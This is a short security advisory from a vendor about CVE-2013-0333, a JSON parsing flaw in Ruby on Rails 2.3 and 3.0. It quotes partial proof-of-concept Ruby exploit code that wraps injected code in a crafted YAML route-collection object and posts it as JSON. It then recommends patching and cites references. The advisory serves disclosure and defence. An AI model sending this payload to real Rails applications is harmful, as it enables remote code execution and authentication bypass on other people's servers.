



Security News 2013-06002 Ruby on Rails 3.0 and 2.3 JSON Parser Vulnerability

1. Affected Version

Ruby on Rails 2.3.x Ruby on Rails 3.0.x

2. Description

Per Ruby on Rails advisory States:

There is a vulnerability in the JSON code for Ruby on Rails which allows attackers to bypass authentication systems, inject arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on a Rails application. This vulnerability has been assigned the CVE identifier CVE-2013-0333.

Versions Affected: 2.3.x, 3.0.x

Not Affected: 3.1.x, 3.2.x, applications using the yajl gem.

Fixed Versions: 3.0.20, 2.3.16

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
def exploit(url,payload)
payload = "(#{payload}; @executed = true) unless @executed"
escaped_payload = "foo\nend\n#{payload}\n_END_\n"
encoded_payload = escaped_payload.to_yaml.sub('--- ','').chomp

yaml = %{
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? #{encoded_payload}
: !ruby/struct
defaults:
    :action: create
    :controller: foos
required_parts: []
```



```
requirements:
    :action: create
    :controller: foos
segment_keys:
    - :format
}.strip
encoded_yaml = yaml.gsub(':','\u003a')

return http_post(
    :url => url,
    :headers => {
        :content_type => 'application/json',
        :x_http_method_override => 'get'
    },
    :body => encoded_yaml
)
```

Table 1: The partial proof-of-concept code

The JSON Parsing code in Rails 2.3 and 3.0 support multiple parsing backends. One of the backends involves transforming the JSON into YAML, and passing that through the YAML parser. Using a specially crafted payload attackers can trick the backend into decoding a subset of YAML.

4. Recommendation

- 1. AegisLab IDP signature database can prevent this attack since 04/02/2013.
- 2. Apply appropriate vendor supplied patches or service pack.

5. Reference

- 1. Ruby on Rails advisory
- 2. CVE-2013-0333
- 3. http://www.kb.cert.org/vuls/id/628463